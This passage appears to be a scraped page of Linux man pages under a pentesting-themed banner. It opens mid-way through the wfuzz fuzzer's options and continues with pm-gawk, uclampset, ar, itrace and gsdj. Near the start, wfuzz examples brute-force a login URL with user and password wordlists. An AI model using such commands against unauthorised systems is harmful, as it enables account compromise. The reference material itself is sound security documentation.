-m iterator
Specify an iterator for combining payloads (product by default)

-z payload
Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder. A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1. Encoders category can be used. ie. url. Use help as a payload to show payload plugin’s details (you can filter using –slice)

–zP <params>
Arguments for the specified payload (it must be preceded by -z or -w).

–slice <filter>
Filter payload’s elements using the specified expression. It must be preceded by -z.

-w wordlist
Specify a wordlist file (alias for -z file,wordlist).

-V alltype
All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.

-X method
Specify an HTTP method for the request, ie. HEAD or FUZZ

-b cookie
Specify a cookie for the requests. Repeat option for various cookies.

-d postdata
Use post data (ex: “id=FUZZ&catalogue=1”)

-H headers
Use headers (ex:“Host:www.mysite.com,Cookie:id=1312321&user=FUZZ”). Repeat option for various headers.

–basic/ntlm/digest auth
in format “user:pass” or “FUZZ:FUZZ” or “domain\FUZ2Z:FUZZ”

–hc/hl/hw/hh N[,N]+
Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)

–sc/sl/sw/sh N[,N]+
Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)

–ss/hs regex
Show/Hide responses with the specified regex within the content

–filter <filter>
Filter responses using the specified expression (Use BBB for taking values from baseline) It should be composed of: c,l,w,h/and,or/=,<,>,!=,<=,>= Keyword: FUZZ, …, FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload. Baseline: FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.

–prefilter <filter>
Filter items before fuzzing using the specified expression.

EXAMPLES

wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
More examples are available in the README..
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1498 - Linux cli command pm-gawk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pm-gawk and provides detailed information about the command pm-gawk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pm-gawk.

NAME 🖥️ pm-gawk 🖥️

persistent data and functions

SYNOPSIS

truncate -s size heap.pma
export GAWK_PERSIST_FILE=heap.pma
gawk . . .

truncate -s size heap.pma
GAWK_PERSIST_FILE=heap.pma gawk . . .

truncate -s size heap.pma
alias pm='GAWK_PERSIST_FILE=heap.pma'
pm gawk . . .                       # succinct

unset GAWK_PERSIST_FILE   # disable persistence

export GAWK_PERSIST_FILE=other_heap.pma  # change heap

rm heap.pma               # delete heap

DESCRIPTION

Gawk 5.2 and later supports a persistent memory feature that can store script-defined variables and functions in a file for later use. The feature, called pm-gawk, is described in GAWK: Effective AWK Programming and in Persistent Memory gawk User Manual.

pm-gawk is activated by passing to gawk the name of an initially empty (all-zero-bytes) heap file, via the environment variable GAWK_PERSIST_FILE. pm-gawk retains script-defined variables and functions in the heap file for use in subsequent gawk invocations.

pm-gawk offers at least two advantages compared with the existing rwarray extension: it offers constant-time (``O(1) time’’) access to individual elements of persistent associative arrays, and it can store script-defined functions in addition to variables.

EXAMPLES

Demonstrate persistent variables:

$ truncate -s 1G heap.pma # create heap file $ export GAWK_PERSIST_FILE=heap.pma # “ambient” env var $ gawk ‘BEGIN { print ++i }’ 1 $ gawk ‘BEGIN { print ++i }’ 2 $ gawk ‘BEGIN { print ++i }’ 3

To pass the environment variable on per-command basis:

$ unset GAWK_PERSIST_FILE $ GAWK_PERSIST_FILE=heap.pma gawk ‘BEGIN { print ++i }’ 4 $ GAWK_PERSIST_FILE=heap.pma gawk ‘BEGIN { print ++i }’ 5 $ GAWK_PERSIST_FILE=heap.pma gawk ‘BEGIN { print ++i }’ 6

To reduce visual clutter of per-command environment variable passing:

$ alias pm=‘GAWK_PERSIST_FILE=heap.pma’ $ pm gawk ‘BEGIN { print ++i }’ 7 $ pm gawk ‘BEGIN { print ++i }’ 8

To refrain from activating persistence:

$ unset GAWK_PERSIST_FILE $ gawk ‘BEGIN { print ++i }’ 1 $ gawk ‘BEGIN { print ++i }’ 1

To permanently ``forget’’ the contents of the heap file:

$ rm heap.pma

ENVIRONMENT VARIABLES

GAWK_PERSIST_FILE contains the name of a heap file where script-defined variables and functions are stored. If this environment variable is not visible to gawk, the persistence feature is not activated and gawk behaves in its traditional manner.

VERSION INFORMATION

Persistent memory gawk was first released in gawk 5.2.

AUTHORS

Arnold Robbins, the maintainer of gawk, implemented pm-gawk using a persistent memory allocator (pma) provided by Terence Kelly. An earlier proof-of-concept prototype of persistent gawk was developed by Haris Volos, Zi Fan Tan, and Jianan Li using a fork of the official gawk sources.

CAVEATS

The GNU/Linux CIFS filesystem is known to cause problems for the persistent memory allocator. Do not use a backing file on such a filesystem with pm-gawk.

BUG REPORTS

Follow the procedures in GAWK: Effective AWK Programming and in Persistent Memory gawk User Manual. For suspected bugs related to persistence (as opposed to other non-persistence-related gawk bugs) please also send e-mail to Terence Kelly at one or more of these addresses: [email protected], [email protected], or [email protected].

SEE ALSO

gawk(1), GAWK: Effective AWK Programming, and Persistent Memory gawk User Manual. The two manuals should be available in the Info subsystem if Info installed on your system.

See https://web.eecs.umich.edu/~tpkelly/pma/ for the latest source code and manual.

COPYING PERMISSIONS

Copyright © 2022 Terence Kelly.

Permission is granted to make and distribute verbatim copies of this manual page provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to process this file through troff and print the results, provided the printed document carries copying permission notice identical to this one except for the removal of this paragraph (this paragraph not being relevant to the printed manual page).

Permission is granted to copy and distribute modified versions of this manual page under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this manual page into another language, under the above conditions for modified versions, except that this permission notice may be stated in a translation approved by the Foundation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1499 - Linux cli command uclampset

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uclampset and provides detailed information about the command uclampset, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uclampset.

NAME 🖥️ uclampset 🖥️

manipulate the utilization clamping attributes of the system or a process

SYNOPSIS

uclampset [options] [-m uclamp_min] [-M uclamp_max] _command argument

uclampset [options] [-m uclamp_min] [-M uclamp_max] -p PID

DESCRIPTION

uclampset sets or retrieves the utilization clamping attributes of an existing PID, or runs command with the given attributes.

Utilization clamping is a new feature added in v5.3. It gives a hint to the scheduler about the allowed range of utilization the task should be operating at.

The utilization of the task affects frequency selection and task placement. Only schedutil cpufreq governor understands handling util clamp hints at the time of writing. Consult your kernel docs for further info about other cpufreq governors support.

If you’re running on asymmetric heterogeneous system like Arm’s big.LITTLE. Utilization clamping can help bias task placement. If the task is boosted such that util_min value is higher than the little cores capacity, then the scheduler will do its best to place it on a big core.

Similarly, if util_max is smaller than or equal the capacity of the little cores, then the scheduler can still choose to place it there even if the actual utilization of the task is at max.

Setting a task’s uclamp_min to a none zero value will effectively boost the task as when it runs it’ll always start from this utilization value.

By setting a task’s uclamp_max below 1024, this will effectively cap the task as when it runs it’ll never be able to go above this utilization value.

The full utilization range is: [0:1024]. The special value -1 is used to reset to system’s default.

Consult latest kernel documentation for more details:

https://kernel.org/doc/html/latest/scheduler/sched-util-clamp.html

OPTIONS

-m

Set util_min value.

-M

Set util_max value.

-a, –all-tasks

Set or retrieve the utilization clamping attributes of all the tasks (threads) for a given PID.

-p, –pid

Operate on an existing PID and do not launch a new task.

-s, –system

Set or retrieve the system-wide utilization clamping attributes.

-R, –reset-on-fork

Set SCHED_FLAG_RESET_ON_FORK flag.

-v, –verbose

Show status information.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

USAGE

The default behavior is to run a new command:

uclampset [-m uclamp_min] [-M uclamp_max] command [arguments]

You can also retrieve the utilization clamping attributes of an existing task:

uclampset -p PID

Or set them:

uclampset -p PID [-m uclamp_min] [-M uclamp_max]

Or control the system-wide attributes:

uclampset -s [-m uclamp_min] [-M uclamp_max]

PERMISSIONS

A user must possess CAP_SYS_NICE to change the scheduling attributes of a process. Any user can retrieve the scheduling information.

NOTES

The system wide utilization clamp attributes are there to control the allowed range the tasks can use. By default both uclamp_min and uclamp_max are set to 1024. This means users can set the utilization clamp values for their task across the full range [0:1024].

For example:

uclampset -s -m 512 -M 700

will prevent any task from being boosted higher than 512. And all tasks in the systems are capped to a utilization of 700. Effectively rendering the maximum performance of the system to 700.

Consult your kernel docs for the exact expected behavior on that kernel.

AUTHORS

SEE ALSO

nice(1), renice(1), taskset(1), sched(7)

See sched_setscheduler(2) and sched_setattr(2) for a description of the Linux scheduling scheme.

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The uclampset command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1500 - Linux cli command i686-w64-mingw32-ar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-ar and provides detailed information about the command i686-w64-mingw32-ar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-ar.

NAME 🖥️ i686-w64-mingw32-ar 🖥️

create, modify, and extract from archives

SYNOPSIS

ar [-X32_64] [-]p[mod] [–plugin name] [–target bfdname] [–output dirname] [–record-libdeps libdeps] [–thin] [relpos] [count] archive [member…]

DESCRIPTION

The GNU ar program creates, modifies, and extracts from archives. An archive is a single file holding a collection of other files in a structure that makes it possible to retrieve the original individual files (called members of the archive).

The original files’ contents, mode (permissions), timestamp, owner, and group are preserved in the archive, and can be restored on extraction.

GNU ar can maintain archives whose members have names of any length; however, depending on how ar is configured on your system, a limit on member-name length may be imposed for compatibility with archive formats maintained with other tools. If it exists, the limit is often 15 characters (typical of formats related to a.out) or 16 characters (typical of formats related to coff).

ar is considered a binary utility because archives of this sort are most often used as libraries holding commonly needed subroutines. Since libraries often will depend on other libraries, ar can also record the dependencies of a library when the –record-libdeps option is specified.

ar creates an index to the symbols defined in relocatable object modules in the archive when you specify the modifier s. Once created, this index is updated in the archive whenever ar makes a change to its contents (save for the q update operation). An archive with such an index speeds up linking to the library, and allows routines in the library to call each other without regard to their placement in the archive.

You may use nm -s or nm –print-armap to list this index table. If an archive lacks the table, another form of ar called ranlib can be used to add just the table.

GNU ar can optionally create a thin archive, which contains a symbol index and references to the original copies of the member files of the archive. This is useful for building libraries for use within a local build tree, where the relocatable objects are expected to remain available, and copying the contents of each object would only waste time and space.

An archive can either be thin or it can be normal. It cannot be both at the same time. Once an archive is created its format cannot be changed without first deleting it and then creating a new archive in its place.

Thin archives are also flattened, so that adding one thin archive to another thin archive does not nest it, as would happen with a normal archive. Instead the elements of the first archive are added individually to the second archive.

The paths to the elements of the archive are stored relative to the archive itself.

GNU ar is designed to be compatible with two different facilities. You can control its activity using command-line options, like the different varieties of ar on Unix systems; or, if you specify the single command-line option -M, you can control it with a script supplied via standard input, like the MRI “librarian” program.

OPTIONS

GNU ar allows you to mix the operation code p and modifier flags mod in any order, within the first command-line argument.

If you wish, you may begin the first command-line argument with a dash.

The p keyletter specifies what operation to execute; it may be any of the following, but you must specify only one of them:

  1. Delete modules from the archive. Specify the names of modules to be deleted as member…; the archive is untouched if you specify no files to delete. If you specify the v modifier, ar lists each module as it is deleted.

  2. Use this operation to move members in an archive. The ordering of members in an archive can make a difference in how programs are linked using the library, if a symbol is defined in more than one member. If no modifiers are used with m, any members you name in the member arguments are moved to the end of the archive; you can use the a, b, or i modifiers to move them to a specified place instead.

  3. Print the specified members of the archive, to the standard output file. If the v modifier is specified, show the member name before copying its contents to standard output. If you specify no member arguments, all the files in the archive are printed.

  4. Quick append; Historically, add the files member… to the end of archive, without checking for replacement. The modifiers a, b, and i do not affect this operation; new members are always placed at the end of the archive. The modifier v makes ar list each file as it is appended. Since the point of this operation is speed, implementations of ar have the option of not updating the archive’s symbol table if one exists. Too many different systems however assume that symbol tables are always up-to-date, so GNU ar will rebuild the table even with a quick append. Note - GNU ar treats the command qs as a synonym for r - replacing already existing files in the archive and appending new ones at the end.

  5. Insert the files member… into archive (with replacement). This operation differs from q in that any previously existing members are deleted if their names match those being added. If one of the files named in member… does not exist, ar displays an error message, and leaves undisturbed any existing members of the archive matching that name. By default, new members are added at the end of the file; but you may use one of the modifiers a, b, or i to request placement relative to some existing member. The modifier v used with this operation elicits a line of output for each file inserted, along with one of the letters a or r to indicate whether the file was appended (no old member deleted) or replaced.

  6. Add an index to the archive, or update it if it already exists. Note this command is an exception to the rule that there can only be one command letter, as it is possible to use it as either a command or a modifier. In either case it does the same thing.

  7. Display a table listing the contents of archive, or those of the files listed in member… that are present in the archive. Normally only the member name is shown, but if the modifier O is specified, then the corresponding offset of the member is also displayed. Finally, in order to see the modes (permissions), timestamp, owner, group, and size the v modifier should be included. If you do not specify a member, all files in the archive are listed. If there is more than one file with the same name (say, fie) in an archive (say b.a), ar t b.a fie lists only the first instance; to see them all, you must ask for a complete listing—in our example, ar t b.a.

  8. Extract members (named member) from the archive. You can use the v modifier with this operation, to request that ar list each name as it extracts it. If you do not specify a member, all files in the archive are extracted. Files cannot be extracted from a thin archive, and there are restrictions on extracting from archives created with P: The paths must not be absolute, may not contain .., and any subdirectories in the paths must exist. If it is desired to avoid these restrictions then used the –output option to specify an output directory.

A number of modifiers (mod) may immediately follow the p keyletter, to specify variations on an operation’s behavior:

  1. Add new files after an existing member of the archive. If you use the modifier a, the name of an existing archive member must be present as the relpos argument, before the archive specification.

  2. Add new files before an existing member of the archive. If you use the modifier b, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as i).

  3. Create the archive. The specified archive is always created if it did not exist, when you request an update. But a warning is issued unless you specify in advance that you expect to create it, by using this modifier.

  1. Operate in deterministic mode. When adding files and the archive index use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. When this option is used, if ar is used with identical options and identical input files, multiple runs will create identical output files regardless of the input files’ owners, groups, file modes, or modification times. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the U modifier, below.
  1. Truncate names in the archive. GNU ar will normally permit file names of any length. This will cause it to create archives which are not compatible with the native ar program on some systems. If this is a concern, the f modifier may be used to truncate file names when putting them in the archive.
  1. Insert new files before an existing member of the archive. If you use the modifier i, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as b).
  1. Specify dependencies of this library. The dependencies must immediately follow this option character, must use the same syntax as the linker command line, and must be specified within a single argument. I.e., if multiple items are needed, they must be quoted to form a single command line argument. For example l “-L/usr/local/lib -lmydep1 -lmydep2”
  1. Uses the count parameter. This is used if there are multiple entries in the archive with the same name. Extract or delete instance count of the given name from the archive.
  1. Preserve the original dates of members when extracting them. If you do not specify this modifier, files extracted from the archive are stamped with the time of extraction.
  1. Display member offsets inside the archive. Use together with the t option.

  2. Use the full path name when matching or storing names in the archive. Archives created with full path names are not POSIX compliant, and thus may not work with tools other than up to date GNU tools. Modifying such archives with GNU ar without using P will remove the full path names unless the archive is a thin archive. Note that P may be useful when adding files to a thin archive since r without P ignores the path when choosing which element to replace. Thus ar rcST archive.a subdir/file1 subdir/file2 file1 will result in the first subdir/file1 being replaced with file1 from the current directory. Adding P will prevent this replacement.

  1. Write an object-file index into the archive, or update an existing one, even if no other change is made to the archive. You may use this modifier flag either with any operation, or alone. Running ar s on an archive is equivalent to running ranlib on it.
  1. Do not generate an archive symbol table. This can speed up building a large library in several steps. The resulting archive can not be used with the linker. In order to build a symbol table, you must omit the S modifier on the last execution of ar, or you must run ranlib on the archive.

  2. Deprecated alias for –thin. T is not recommended because in many ar implementations T has a different meaning, as specified by X/Open System Interface.

  1. Normally, ar r… inserts all files listed into the archive. If you would like to insert only those of the files you list that are newer than existing members of the same names, use this modifier. The u modifier is allowed only for the operation r (replace). In particular, the combination qu is not allowed, since checking the timestamps would lose any speed advantage from the operation q. Note - if an archive has been created in a deterministic manner, eg via the use of the D modifier, then replacement will always happen and the u modifier will be ineffective.
  1. Do not operate in deterministic mode. This is the inverse of the D modifier, above: added files and the archive index will get their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.
  1. This modifier requests the verbose version of an operation. Many operations display additional information, such as filenames processed, when the modifier v is appended.
  1. This modifier shows the version number of ar.

The ar program also supports some command-line options which are neither modifiers nor actions, but which do change its behaviour in specific ways:

–help
Displays the list of command-line options supported by ar and then exits.

–version
Displays the version information of ar and then exits.

-X32_64
ar ignores an initial option spelled -X32_64, for compatibility with AIX. The behaviour produced by this option is the default for GNU ar. ar does not support any of the other -X options; in particular, it does not support -X32 which is the default for AIX ar.

–plugin name
The optional command-line switch –plugin name causes ar to load the plugin called name which adds support for more file formats, including object files with link-time optimization information. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then ar iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make ar use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–target target
The optional command-line switch –target bfdname specifies that the archive members are in an object code format different from your system’s default format. See

–output dirname
The –output option can be used to specify a path to a directory into which archive members should be extracted. If this option is not specified then the current directory will be used. Note - although the presence of this option does imply a x extraction operation that option must still be included on the command line.

–record-libdeps libdeps
The –record-libdeps option is identical to the l modifier, just handled in long form.

–thin
Make the specified archive a thin archive. If it already exists and is a regular archive, the existing members must be present in the same directory as archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1501 - Linux cli command itrace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command itrace and provides detailed information about the command itrace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the itrace.

NAME 🖥️ itrace 🖥️

similar to traceroute, yet uses ICMP echo

DESCRIPTION

This manual page documents briefly the itrace command. This manual page was written for the Debian distribution because the original program does not have a manual page.

Itrace is a program that implements traceroute(1) functionality using ICMP echo request packets.

Therefore, it looks like you are just pinging your target while you traceroute there.

It often helps tracing behind firewalls.

Typical Usage:

itrace -i eth0 -d www.phenoelit.de

-v verbose

-n reverse lookup answering IPs (slow!)

-p x send x probes per hop (default=3)

-m x set TTL max to x (default=30)

-t x timeout after x seconds (default=3)

-i interface the normal eth0 stuff

-d destination Name or IP of destination

AUTHOR

This manual page was written by Vince Mulhollon <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1502 - Linux cli command gsdj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gsdj and provides detailed information about the command gsdj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gsdj.

NAME 🖥️ gsdj 🖥️

Format and print text using ghostscript
gsbj - Format and print text for BubbleJet printer using ghostscript
gsdj - Format and print text for DeskJet printer using ghostscript
gsdj500 - Format and print text for DeskJet 500 BubbleJet using ghostscript
gslj - Format and print text for LaserJet printer using ghostscript

SYNOPSIS

gslp -12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile> -T<n> –add-to-space <units> –add-to-width <units> –columns <n> –detect –first-page <n> –kern <file.afm> –last-page <n> –(heading|footing)-(left|center|right) <string> –margin-(top|bottom|left|right) <inches> –no-eject-(file|formfeed) –spacing <n> [gs options] [files]

gsbj [options] [files]
gsdj [options] [files]
gsdj500 [options] [files]
gslj [options] [files]

DESCRIPTION

This utility provides functionality approximately equivalent to the Unix enscript(1) program. It prints plain text files using a single font. It currently handles tabs and formfeeds, but not backspaces. It will line-wrap when using fixed-pitch fonts. It will also do kerning and width adjustment.

The default device (-sDEVICE=) and resolution (-r) are as follows:

      gslp      epson      180
      gsbj      bj10e      180
      gsdj      deskjet    300
      gsdj500   djet500    300
      gslj      laserjet   300

By default the current date is formatted as the center header.

OPTIONS

Standard switches implemented:
-12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile>

Sun switches implemented:
-T<n> set tab width

Switches ignored:
-GghKkmow -# -C -d -J -n -P -S -s -t -v

Switches added:

–add-to-space <units>
add the given number of 1/72" units to the width of each space (may be negative)

–add-to-width <units>
add the given number of 1/72" units to the width of each character (may be negative)

–columns <n>
print in <n> columns

–detect
treat the file as PostScript if it starts with %!

–first-page <n>
start printing at page <n>

–kern <file.afm>
kern using information from the given .AFM file

–last-page <n>
stop printing after page <n>

–(heading|footing)-(left|center|right) <string>
set the heading/footing fields; use -B first to clear

–margin-(top|bottom|left|right) <inches>
set a margin

–no-eject-(file|formfeed)
end-of-file/FF only starts a new column, not a new sheet

–spacing <n>
use double (n=2), triple (n=3), etc. spacing

Also, the string %# in a heading or footing is replaced with the page #.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1503 - Linux cli command hid2hci

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hid2hci and provides detailed information about the command hid2hci, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hid2hci.

NAME 🖥️ hid2hci 🖥️

Bluetooth HID to HCI mode switching utility

SYNOPSIS

hid2hci [OPTIONS]

DESCRIPTION

hid2hci(1) is used to set up switch supported Bluetooth devices into the HCI mode and back.

OPTIONS

–mode=[mode] Sets the mode to the device into. The possible values
for mode are hid, hci.

–method=[method] Which vendor method to use for switching the device.
The possible values for method are csr, csr2, logitech-hdi, dell.

–devpath
Specifies the device path in /sys

–help
Gives a list of possible options.

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Marcel Holtmann <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
